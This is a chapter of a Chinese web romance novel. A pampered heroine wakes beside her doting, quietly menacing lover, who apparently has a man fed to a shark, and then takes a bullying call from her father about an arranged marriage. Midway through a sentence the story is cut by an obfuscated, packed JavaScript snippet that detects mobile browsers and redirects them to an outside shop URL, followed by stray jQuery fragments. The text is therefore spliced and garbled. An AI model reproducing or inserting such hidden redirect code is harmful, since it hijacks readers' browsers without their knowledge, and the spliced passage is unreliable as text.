7.小三

作品:《好运降临

    沈灼音醒来的时候愣了好久。


    床品已经换过,身上的睡裙质地柔软,裙摆因为睡着时的动作而卷到大腿根的位置。那里的吻痕错综凌乱,向裙摆遮盖住的部位蔓延。


    她的脸颊有些烫。


    最后的记忆有些模糊,她似乎是晕过去的。昨晚的画面在脑海里反复闪过,那些让人颤抖的感觉好像还停留在身体里,直到现在她还觉得脊椎骨的位置有些发麻。


    不论她怎么求他,他都只哄不停。


    好过分...


    沈灼音想把脸埋进枕头,余光扫过床头柜上的东西,微微怔了怔,随即眼底亮了起来。


    那是个丝绒首饰盒。


    打开一看,里边放着的果然是她前几天说喜欢的那条古董宝石项链。


    她喜欢这些亮晶晶的东西。


    而闻镜听喜欢给她买她喜欢的东西,就像昨晚他把她按在浴缸边上的时候,在她耳边呢喃的“babydoll”。他喜欢她把自己打扮得漂漂亮亮的,像个洋娃娃一样,剩下一切烦恼和问题他都可以为她解决。


    沈灼音的指腹轻抚过项链上那颗硕大的Graff黄钻,再想昨晚发生的事。


    好吧。


    一点也不过分。


    对比闻镜听对她的好,重欲只是个小小的、微不足道的缺点。


    毕竟...毕竟她也爽到了。


    沈灼音掀开被子下床,在柔软的地毯上踩到了一粒并不陌生的圆形白色药片。她只当是闻镜听不小心弄掉的,没有多想一向温柔细致的男人为什么会把药片掉在这。


    华阙的总统套房里设施一应俱全。


    她走到客厅,看到不远处开放式厨房里的身影,视线停驻——


    闻镜听穿着白色衬衣和黑色西裤,袖子挽了起来,露出小臂流畅结实的肌肉线条。外边是一件黑色的围裙,系带松松地绑在后腰处,勾勒出宽肩窄腰的完美身材比例。


    他低着头专注地处理着食材,看起来格外人夫。


    空气里淡淡的食物香气,将眼前的画面衬得愈发温馨。沈灼音看着这一幕,心脏像是被一双温热的手轻轻托起,很熨帖。


    她小跑过去,从身后环住了他的腰,脸侧贴在他的后背上。


    手搭在他的皮带往上一点的位置,隔着薄薄的围裙和衬衫面料,她感觉到他的腹肌有一瞬的绷紧,肌肉轮廓变得更加清晰。


    手感很好,男德更是满分。


    闻镜听轻笑了一声,“睡醒了?”


    “还以为你要多睡会儿,打算做完早餐再叫你起床。”


    “本来是这么打算的。”


    厨房区域没有铺地毯,他低头看她光脚站在地上,转身单手把人抱了起来。


    大多数时候他都不说教,却会细心地把她照顾好,这也是她喜欢他的原因之一。


    他顺手用陶瓷勺从刚煮好的海鲜粥里舀了一勺,吹到适宜入口处温度,喂到她的嘴边。


    继续着刚才的话题,“有但是?”


    沈灼音被他单手抱在胸前,搂着他的脖子,“但是突然很想你,就爬起来找你了。”


    她嚼了嚼口中的虾仁,低头在他的脸颊上亲了一下,唇上的粥渍印在他的脸上,又若无其事地继续嚼嚼嚼。


    闻镜听笑着摇了摇头,像是拿她很没办法似的,她觉得她这么娇纵任性,很大程度上逃不开他的责任,都是他惯出来的。


    “华阙不送早餐吗?怎么还自己做呀?”


    沈灼音看着其中几样餐具,越看越眼熟,像是别院里她日常能看到的那几套。


    “音音晚睡之后没胃口,我做的你多少会吃一点,胃能舒服些。”


    闻镜听说得自然,好像为了早餐大费周章让人送餐具厨具来,只要她肯赏脸吃几口就值得。


    她再次感叹他真的好人夫,完全忘记了折腾她一晚上、害她梦里都觉得腰疼的始作俑者也正是他。


    闻镜听抱着喂她吃早餐的时候,她随手点开社交平台看了看,忽然被热搜上的词条吸引了视线,赫然是关于昨天那个小明星的丑闻。


    约p、男女通吃、私联粉丝、恶劣手段抢资源,连续二十多个爆词条。


    前一天还是待飞升的热度明星,今天却变成了人人喊打的烂人。


    如果不是沈灼音见过他昨天谄媚的样子,她一定会为此感到唏嘘。但他昨天不仅给她下药,还给她安了定位器,让她误会了闻镜听。


    此时她对他半分同情心都没有,看着那些词条,恨恨地“哼”了一声。


    而闻镜听只是耐心地端着瓷碗和勺子,等着她吞下口中的食物再继续喂下一口。


    沈灼音把热搜的事情说给他听,他向来对这些娱乐花边新闻不感兴趣,神思淡淡道:“罪有应得。”


    门忽然被轻轻敲响,助理走进来在餐桌旁边站定,视线扫过沈灼音手机上的画面,停顿片刻很快又恢复自然,向闻镜听汇报着:“您交待的事情已经处理好了。”


    沈灼音很少过问闻镜听的事情,但是她今天心情好,有点黏人。


    她好奇地问道:“什么事啊?”


    助理的神情紧绷,不知道该怎么回答。毕竟闻镜听下过命令,不许让沈灼音知道那些肮脏事。他担心说辞出纰漏,正在努力编借口。


    闻镜听反而坦然,“是在喂宠物。”


    “宠物?”


    “音音想看吗?”


    沈灼音点了点头,她没有听他提起过他养的宠物,在别院里更是不见踪影。


    闻镜听将手中的瓷碗放下,纸巾擦了擦她的嘴巴。抬手,助手会意地递来平板,屏幕上显示着海洋景观窗的监控。


    她好奇地凑过去看,下一秒——


    沙虎鲨捕食时上颚的牙床脱出,尖利的牙齿猛地咬向猎物。


    血色在海水中弥漫开来,将监控画面的大部分都染成了红色。


    巨鲨拖拽食物时,尾巴拍打到玻璃上,发出巨大的闷响。尖牙还来不及收回去,仿佛要穿过景观窗和监控咬向她。


    沈灼音低低地叫了一声,害怕地把脑袋埋进闻镜听怀里。他平静地放下平板,将她搂紧,掌心轻拍着她的后背,安慰她道:“它大多数时候都是温和乖巧的,只是因为一块臭肉惹怒了它,侵犯了它的领地,所以它才会发脾气。”


    “被它吃掉的食物都是罪有应得的。”


    “别害怕,它会喜欢你的。”


    倒也不必...


    沈灼音并没有想让巨鲨喜欢她的想法。


    她的脑袋从他怀里探出来了一些,却心有余悸地没再去看监控画面。


    她不明白向来温柔的闻镜听,为什么会圈养这么凶狠的猛兽。


    “你就没有养一些正常的宠物吗?”


    “嗯……比如可爱点的,小猫小狗什么的。”


    “还有小蛇和几只小鱼。”


    助理的嘴角微微抽搐。


    老板指的应该是巨蟒和鳄鱼池...也不算撒谎,只是稍微美化了一些而已。


    沈灼音想了想,鲨鱼、蛇、鱼,似乎都是冷冰冰的。鱼暂且不说,想到阴冷的蛇瞳和爬行动物滑溜溜的身体,她就一阵胆寒。


    她正想说些什么,就听到闻镜听的声音。


    “它们都是前些年在野外救助回来的,幼年体的时候几乎没有野外生存能力,后来又找不到机会放生,所以才一直这么养了下来。”


    沈灼音之前不曾听他提起过救助的事,想到是救助的动物,瞬间觉得不可怕了。


    她看他的目光都是爱意和敬仰,她想他真的是菩萨心肠的好人。


    闻镜听温柔笑笑,慢慢吃完她剩下的粥。


    他知道沈灼音喜欢听什么。


    他喜欢她只看向他的目光。


    如果音音一直乖乖待在他的身边,他当然不会拒绝在她面前保持善良的一面。


    但如果...


    突然,沈灼音的手机响了起来。


    是父亲给她打来电话。


    她看着手机屏幕上的备注,抿了抿唇,神情有些紧绷。


    不知道沈恩怡添油加醋说了什么,以至于父亲大清早就要打电话过来兴师问罪。


    她直觉这通电话不会太愉快,不想在闻镜听面前太失态,小声说“我接个电话”,就从他温暖的怀里离开。


    沈灼音走到阳台上才接起电话。


    几乎是手机贴到耳边的瞬间,父亲的骂声就传了过来,“死女包,净系喺外面同我丢架!我生嚿叉烧好过生你!”


    (“死丫头,整天在外面给我丢人,我生块叉烧都好过生你”的意思。)


    沈灼音撇了撇嘴。


    又不是他生的,她是妈妈生的。


    她没有真的还嘴,小声地等着父亲骂完。毕竟父亲和闻镜听可不一样,他有着严重的父权思想,不会惯着她,更不允许她还嘴、反抗。


    小时候被他打骂哭的记忆还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084906|195320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    格外清晰,让她面对父亲时总是条件反射地变得乖巧。很懦弱也很窝囊,但她没办法,谁让她小时候只能依靠着他过活呢。


    “你在外面乱搞什么?恩怡说你再外面找了个靠山,你以为随便找一个土暴发户就能和徐家比吗?要是被徐家那边知道,人家还会要你吗?徐沈的合作要是丢了,看我不打死你。”


    她就知道是沈恩怡在乱说。


    昨晚那个场景还能坚持她是找了个暴发户,沈恩怡真的去看看脑子吧。


    “我……”


    父亲完全没有给她张嘴的机会,命令道:“明天徐家小儿子生日,你到徐家送一份礼物,走动走动关系,试探着问问他们打算把婚期定在什么时候,徐家那小子喜欢你,肯定听你的。这样,你干脆今天就去买情侣戒指,他收到礼物就知道你的意思了。”


    徐家那小儿子160的身高,有将近160kg,在沈灼音的想象里那简直是一个行走的肉立方!


    人怎么能胖成那样?!


    “我不要见他...”


    父亲声音从听筒里传了出来,不容商榷道:“沈灼音,我说话你不听是不是?你不要以为自己现在找到金主了就不用依靠家里,就敢和我叫板了。男人能爱你多久?你把合作拿到手,娘家好起来你才会好。”


    “做人不能忘恩负义,你外婆这些年吃药做检查,是谁出钱?她现在可还在徐家名下的医院里。”


    随着最后一个字落下,对方挂断了电话。


    沈灼音有些无助地蜷了蜷指尖。


    总是这样。


    只要她表现出一点点不符合他们心意的迹象,他们就会把外婆的事拿出来说。说沈家对她有多好,说她不能忘恩负义,说外婆还要靠着他们沈家才能够治病。


    可父亲丢弃了她近十年,是因为听信了风水大师的话,想让她给这个家转运才把她接了回来。她甚至觉得沈家的坏运气都转到她身上来了,所以她才会倒霉这么多年。


    没有人把她当成沈家的女儿来看,她只是一个私生女。姐姐可以和优秀的男人恋爱,她却只能和姐姐看不上的猪头联姻。


    她才不要。


    沈灼音鼓了鼓腮帮子,情绪因为这通电话变得有些不好。回到客厅的时候,没有像刚才那样窝进闻镜听的怀里。


    闻镜听牵着她的手,将她拉进怀中,“发生什么了吗?”


    沈灼音不知道该怎么解释她还没成年的时候,父亲就已经开始计划让她嫁进徐家这件事,甚至还越过她和徐家的小儿子定了个荒谬的口头婚约。


    如果她告诉他,自己有这么一段婚约(虽然她不承认),他莫名其妙成为了“小三”,大概会被她给气晕过去吧。


    她抠了抠手,只说道:“我父亲想让我帮他办一些事。”


    “看起来心情不太好。”闻镜听的指腹轻点了点她绷直的唇角。


    “需要我为音音做点什么吗?”


    沈灼音越发觉得,这个世界上没有比闻镜听对她更好的人了。


    但父亲说得也不无道理,她也无法确定闻镜听对她的这份好能维持多久。幸运的话或许是一辈子,不幸的话或许只剩下一个月。


    毕竟外婆说过,曾经父亲也很爱她的母亲,到如今还不是变得那样不堪。


    “午餐想吃你做的。”


    “下午要你送我去学校。”


    “还想要前天sales说没货的那条裙子。”


    “你现在给我转一百万。”


    所有要求他都答应,没有任何不耐烦,好像只有“音音开心”才是天大的事。


    她看着到账短信上的“自愿赠予”,心情稍微好了一些。


    “那你现在亲亲我。”


    闻镜听轻笑着,低沉的笑声听得她耳朵里酥酥麻麻的。她伸手想去摸一摸发热的耳廓,却被他捉住了手腕。


    而后她的唇瓣被轻轻地吻住,舌尖撬开她的齿关和她纠缠着。他的吻也是温柔的,是她喜欢的节奏。


    沈灼音想,今天下午的课结束后她就去买一份礼物,明天给徐家送过去,做做场面功夫。


    等到她回去把外婆接到京市来,就再也不用听沈家那群人的摆布了。


    至于她和闻镜听感情的事...


    她才不要提前焦虑。


    她当然很爱闻镜听


    但是只要他变得不爱她了,或者不像最初认识时那样温柔体贴了,她一定会果断地快刀斩乱麻。